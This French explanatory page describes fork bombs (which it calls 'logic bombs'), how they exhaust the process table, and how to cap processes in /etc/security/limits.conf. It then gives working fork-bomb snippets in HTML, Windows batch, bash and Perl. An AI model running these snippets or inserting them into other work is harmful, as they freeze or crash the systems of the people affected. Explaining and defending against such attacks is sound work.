Le principe de la bombe logique est de créer sur le système une nombre énorme de processus dans le but de le saturer, plus précisément de saturer la table des processus. Si cette table est remplie, il devient difficile de lancer le moindre nouveau processus, en sachant que la bombe logique cherche toujours à ce reproduire pendant ce temps là. De plus, elle occupe de l'espace en mémoire, et du temps processeur. Le système deviens donc plus ou moins rapidement totalement inutilisable, et les processus lancés avant la bombe ralentisse terriblement.

Une fois la bombe logique lancé, il est très délicat de s'en débarrasser sans un reboot de la machine... La seul solution consiste à tuer toutes les instances de la bombe, ce qui s'annonce difficile si la table des processus ou l'espace mémoire sont pleins, puisque détruire ces processus nécessite de lancer un processus...

Sous GNU/Linux, il est assez facile de limiter l'impact d'une bombe logique, en plaçant une limite au nombre maximum de processus qu'un utilisateur, voir même l'ensemble du système, peux lancer.

Le fichiers "/etc/security/limits.conf" permet d'imposer de tels limites. Par exemple, la ligne :

*              hard    nproc           100

permet de limiter le nombre total de processus sur le système à 100.


Quelques exemples de bombe logique

En HTML

Le code suivant dans un fichier "bomb.html" ouvre des cadres qui ouvrent les mêmes cadres qui ouvrent les mêmes...

 <html>
  <frameset>
   <frame src="bomb.htm" name="Fork1">
   <frame src="bomb.htm" name="Fork2">
  </frameset>
 </html>

En batch

Sous Windows, dans un fichier batch bomb.bat :

 :s
 start calc.exe
 goto s
En bash

Avec Bash sous GNU/Linux dans un terminal ou un fichier exécutable :

:(){ :|:& };:
Avec Perl

Le simple bout de code suivant :

perl -e "fork while fork" &
  • Dernière modification le : 3 janvier 2010 à 19:02